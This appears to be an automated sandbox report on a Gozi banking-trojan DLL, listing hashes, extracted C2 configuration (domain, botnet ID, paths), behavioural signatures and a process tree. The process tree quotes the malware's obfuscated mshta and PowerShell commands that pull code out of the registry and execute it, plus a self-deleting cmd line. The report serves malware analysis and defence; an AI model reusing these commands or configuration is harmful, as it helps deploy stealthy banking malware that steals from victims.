Analysis

  • max time kernel
    152s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-10-2023 14:47

General

  • Target

    modulo.dll

  • Size

    206KB

  • MD5

    72e2a5c797954e895a41be5b20f867b2

  • SHA1

    419aacfb3ccea9b08277bcc9405054fa4238a597

  • SHA256

    858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

  • SHA512

    77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

  • SSDEEP

    6144:sMmIE7vr+qWNGzfXDanCU60rPP+vJsWKq12Jy:o/7DrQGzfXDeCU6cevKWXwy

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /jerry/

  • build

    250260

  • exe_type

    loader

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Extracted

Family

gozi

Botnet

5050

C2

fotexion.com

Attributes
  • base_path

    /pictures/

  • build

    250260

  • exe_type

    worker

  • extension

    .bob

  • server_id

    50

rsa_pubkey.plain
aes.plain

Signatures

  • Gozi

    Gozi is a well-known and widely distributed banking trojan.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3716
  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\modulo.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3460
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\modulo.dll,#1
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      PID:4948
  • C:\Windows\System32\RuntimeBroker.exe
    C:\Windows\System32\RuntimeBroker.exe -Embedding
    1⤵
      PID:4856
    • C:\Windows\System32\RuntimeBroker.exe
      C:\Windows\System32\RuntimeBroker.exe -Embedding
      1⤵
        PID:4056
      • C:\Windows\Explorer.EXE
        C:\Windows\Explorer.EXE
        1⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of UnmapMainImage
        • Suspicious use of WriteProcessMemory
        PID:3136
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" "about:<hta:application><script>V5jv='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(V5jv).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\47C55FEA-FA41-11E9-3C6B-CED530CFE2D9\\\ActiveStart'));if(!window.flag)close()</script>"
          2⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4456
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name lqoqaormx -value gp; new-alias -name qancjqwv -value iex; qancjqwv ([System.Text.Encoding]::ASCII.GetString((lqoqaormx "HKCU:Software\AppDataLow\Software\Microsoft\47C55FEA-FA41-11E9-3C6B-CED530CFE2D9").ClassFile))
            3⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4752
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\crhtbwuc\crhtbwuc.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:3476
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC58D.tmp" "c:\Users\Admin\AppData\Local\Temp\crhtbwuc\CSCE3BA072C87714FE1ABB7E771F9992F2.TMP"
                5⤵
                  PID:3936
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ilj5kmzj\ilj5kmzj.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:3536
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC6E5.tmp" "c:\Users\Admin\AppData\Local\Temp\ilj5kmzj\CSC76820425C86F40CBB9FA1C682DCF63B9.TMP"
                  5⤵
                    PID:2856
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\modulo.dll"
              2⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:4868
              • C:\Windows\system32\PING.EXE
                ping localhost -n 5
                3⤵
                • Runs ping.exe
                • Suspicious behavior: CmdExeWriteProcessMemorySpam
                PID:1528
            • C:\Windows\syswow64\cmd.exe
              "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
              2⤵
                PID:3332
            • C:\Windows\System32\RuntimeBroker.exe
              C:\Windows\System32\RuntimeBroker.exe -Embedding
              1⤵
                PID:1968

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\RESC58D.tmp
                Filesize

                1KB

                MD5

                af392eeba5f4657ece5bb677b598bca1

                SHA1

                2e319c725e4fe4f2b6146d84776f1c665f447da5

                SHA256

                fb106cd644a7b376cd99cdbdaa71ae809021fd34e195ae6e8f69ed588519e0d4

                SHA512

                aa6673242876efa06142cd07a61588ca92acc2e12cf1bc8d9781d436a4dc54728ab3ba5ac1cb95966ab42adbada4ec2dfe0d78d44744db0a5ff762ee5a22731d

              • C:\Users\Admin\AppData\Local\Temp\RESC6E5.tmp
                Filesize

                1KB

                MD5

                3331dd9da0ecc15b70e6e4adae412703

                SHA1

                06480755b992ff768df5adf2a53e8d4c13d35208

                SHA256

                ae4e57672ac5360690943ab0c31e0bd708099154e32c2b30f5a4b16a5093af3a

                SHA512

                cbe01143192995d828ec4c082a4602395d2dd705653ba9b641d4f84d9d6d9d4a462c5ace1447eeec4b4f3dda2a4dd6d8ac03444b49c45697208300f95deee0bc

              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dooh52ov.sfa.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

              • C:\Users\Admin\AppData\Local\Temp\crhtbwuc\crhtbwuc.dll
                Filesize

                3KB

                MD5

                54c2fbcb5100e0fcf5d886a5428f28d0

                SHA1

                fbfa31faf0079ea71fc4d86e4cbb99d382f0291e

                SHA256

                2927f19f893f448d97c268c45f083dfdf8705b620ade29ba33354db34621de02

                SHA512

                7c2cff467abc2ee67974a920f78534385700d0264cd4a300a33099ac99d12819c8c62580307f3c6fa2b715aea25b36745388fd12f3e11971e55b6508c681ab01

              • C:\Users\Admin\AppData\Local\Temp\ilj5kmzj\ilj5kmzj.dll
                Filesize

                3KB

                MD5

                210581b2a0798520a31fde10c44b950c

                SHA1

                6075932cc1e25ef4d32a0159fa44be96b01011ca

                SHA256

                81115fddba1d1fe2ce56567325e0c3f17c60b6b2498deb410e475a9ebee48d18

                SHA512

                cb7e8b3f19eeb1af856bcfede586dd6b0bf84734b06256185201180609171c05f3ee42642117faecaa0a27f843e64449e39183fc3ea9419da440ab331659776a

              • \??\c:\Users\Admin\AppData\Local\Temp\crhtbwuc\CSCE3BA072C87714FE1ABB7E771F9992F2.TMP
                Filesize

                652B

                MD5

                a74ce3c01bd1c931a91d6ab7732fdc36

                SHA1

                7eb4a4b30911861b1a28fa43db67607ac6557d83

                SHA256

                63dff9d720af0d8ff3e68abc7a90b0d10b981619293ece6b3e36534b10d5f0f4

                SHA512

                b99a528c80e488e5936774688be29ffd49023503b6d532e9b8988e0c0bdb5218857e96d52403227bcbb672681e9d315360e708e1a246ac667862d9c455072104

              • \??\c:\Users\Admin\AppData\Local\Temp\crhtbwuc\crhtbwuc.0.cs
                Filesize

                405B

                MD5

                caed0b2e2cebaecd1db50994e0c15272

                SHA1

                5dfac9382598e0ad2e700de4f833de155c9c65fa

                SHA256

                21210b9baafb8b03ab0ef625312973a77bb5aba856c91892b65826e8b7c3b150

                SHA512

                86dc4f8cedd37464c9c492c467375d4603715e5827dfaf7bfcfe5c46ce5e09b439139d4b0a756afa37e4c2444c5b169ac1c024217b9ba449edb183a3b53f2b62

              • \??\c:\Users\Admin\AppData\Local\Temp\crhtbwuc\crhtbwuc.cmdline
                Filesize

                369B

                MD5

                430271be29d4304fa2ba0292fc130617

                SHA1

                9bfc1b5760ce37f4a1bade964964439df2b4fa10

                SHA256

                5a084366bb115c3b1ef80a506deb7b15f9c9df4a6b7fce2597b4749a92b053e4

                SHA512

                f957e7c81d0386c19624933ebaff5b5e8683485fb5fca1e86a15ddfb69a4626a2a368596119f311c668cd39ae1606d7812e1cf00e589975bf52661cab86c923f

              • \??\c:\Users\Admin\AppData\Local\Temp\ilj5kmzj\CSC76820425C86F40CBB9FA1C682DCF63B9.TMP
                Filesize

                652B

                MD5

                492295b03103b1ad81d8eefef5c9d3c3

                SHA1

                491a37ad94119b577cb28960ba7c1b47c6e612c9

                SHA256

                0d33189f24852e234a9e79f02ddeb88f3c24a90b4cc41c9b43f8c46c48e0b286

                SHA512

                5105a027f2ee9ae2ba1717179a52dc5545d656cf29c578891e959348b640fd22b85faf794ab1c0cd3ce77d8179ca2e8e244eef3aff40c1636da3d4a39371aa5f

              • \??\c:\Users\Admin\AppData\Local\Temp\ilj5kmzj\ilj5kmzj.0.cs
                Filesize

                406B

                MD5

                ca8887eacd573690830f71efaf282712

                SHA1

                0acd4f49fc8cf6372950792402ec3aeb68569ef8

                SHA256

                568b0c1155379c88e91f904f4e70a3608fbf664ef890309cd705a7c5eb3232c3

                SHA512

                2a538a308db6c7d09224737f549d442b4c206e8e9605a2570149243ee11bf0c5f028ebf003b383f86709d0dd976ff66d15ccb700f50969ff3da64dd39cab25c7

              • \??\c:\Users\Admin\AppData\Local\Temp\ilj5kmzj\ilj5kmzj.cmdline
                Filesize

                369B

                MD5

                a5b390d21c632820ddc35d0ed7c8ebbb

                SHA1

                fd669571cc66e14c820edfc8692fa39a58b03302

                SHA256

                cb0e066a84b582a914075d6bad491c040f3150323977bfdc90247876da881c6f

                SHA512

                139f2016cb526e8fd517a85eec79fc8056daac35613b66a2359a95a906f3b6a16b7e007e03430363fb63f82047938bd098f4e5b40799fd95442a9abb3f884d8c

              • memory/1528-103-0x000001DAC3960000-0x000001DAC3A04000-memory.dmp
                Filesize

                656KB

              • memory/1528-105-0x000001DAC37B0000-0x000001DAC37B1000-memory.dmp
                Filesize

                4KB

              • memory/1528-113-0x000001DAC3960000-0x000001DAC3A04000-memory.dmp
                Filesize

                656KB

              • memory/1968-89-0x0000016DF10F0000-0x0000016DF1194000-memory.dmp
                Filesize

                656KB

              • memory/1968-88-0x0000016DF11A0000-0x0000016DF11A1000-memory.dmp
                Filesize

                4KB

              • memory/1968-82-0x0000016DF10F0000-0x0000016DF1194000-memory.dmp
                Filesize

                656KB

              • memory/3136-52-0x0000000000540000-0x0000000000541000-memory.dmp
                Filesize

                4KB

              • memory/3136-98-0x0000000008310000-0x00000000083B4000-memory.dmp
                Filesize

                656KB

              • memory/3136-51-0x0000000008310000-0x00000000083B4000-memory.dmp
                Filesize

                656KB

              • memory/3332-108-0x0000000000E00000-0x0000000000E98000-memory.dmp
                Filesize

                608KB

              • memory/3332-99-0x0000000000A70000-0x0000000000A71000-memory.dmp
                Filesize

                4KB

              • memory/3332-97-0x0000000000E00000-0x0000000000E98000-memory.dmp
                Filesize

                608KB

              • memory/3716-111-0x000001BFB2030000-0x000001BFB20D4000-memory.dmp
                Filesize

                656KB

              • memory/3716-65-0x000001BFB2030000-0x000001BFB20D4000-memory.dmp
                Filesize

                656KB

              • memory/3716-66-0x000001BFB20E0000-0x000001BFB20E1000-memory.dmp
                Filesize

                4KB

              • memory/4056-71-0x000002A8055E0000-0x000002A805684000-memory.dmp
                Filesize

                656KB

              • memory/4056-112-0x000002A8055E0000-0x000002A805684000-memory.dmp
                Filesize

                656KB

              • memory/4056-72-0x000002A8055A0000-0x000002A8055A1000-memory.dmp
                Filesize

                4KB

              • memory/4752-63-0x000002BBE9090000-0x000002BBE90CD000-memory.dmp
                Filesize

                244KB

              • memory/4752-62-0x00007FFE410F0000-0x00007FFE41BB1000-memory.dmp
                Filesize

                10.8MB

              • memory/4752-47-0x000002BBE8D70000-0x000002BBE8D78000-memory.dmp
                Filesize

                32KB

              • memory/4752-18-0x000002BBE8D80000-0x000002BBE8D90000-memory.dmp
                Filesize

                64KB

              • memory/4752-20-0x000002BBE8D80000-0x000002BBE8D90000-memory.dmp
                Filesize

                64KB

              • memory/4752-17-0x00007FFE410F0000-0x00007FFE41BB1000-memory.dmp
                Filesize

                10.8MB

              • memory/4752-49-0x000002BBE9090000-0x000002BBE90CD000-memory.dmp
                Filesize

                244KB

              • memory/4752-7-0x000002BBE8880000-0x000002BBE88A2000-memory.dmp
                Filesize

                136KB

              • memory/4752-33-0x000002BBE86E0000-0x000002BBE86E8000-memory.dmp
                Filesize

                32KB

              • memory/4752-19-0x000002BBE8D80000-0x000002BBE8D90000-memory.dmp
                Filesize

                64KB

              • memory/4856-87-0x0000028DE18D0000-0x0000028DE1974000-memory.dmp
                Filesize

                656KB

              • memory/4856-86-0x0000028DE1170000-0x0000028DE1171000-memory.dmp
                Filesize

                4KB

              • memory/4856-77-0x0000028DE18D0000-0x0000028DE1974000-memory.dmp
                Filesize

                656KB

              • memory/4868-93-0x000002D497D90000-0x000002D497D91000-memory.dmp
                Filesize

                4KB

              • memory/4868-92-0x000002D497CE0000-0x000002D497D84000-memory.dmp
                Filesize

                656KB

              • memory/4868-114-0x000002D497CE0000-0x000002D497D84000-memory.dmp
                Filesize

                656KB

              • memory/4948-0-0x0000000000FE0000-0x0000000001009000-memory.dmp
                Filesize

                164KB

              • memory/4948-110-0x0000000000EB0000-0x0000000000EBE000-memory.dmp
                Filesize

                56KB

              • memory/4948-2-0x0000000001070000-0x000000000107D000-memory.dmp
                Filesize

                52KB

              • memory/4948-1-0x0000000000EB0000-0x0000000000EBE000-memory.dmp
                Filesize

                56KB

              • memory/4948-5-0x0000000000EB0000-0x0000000000EBE000-memory.dmp
                Filesize

                56KB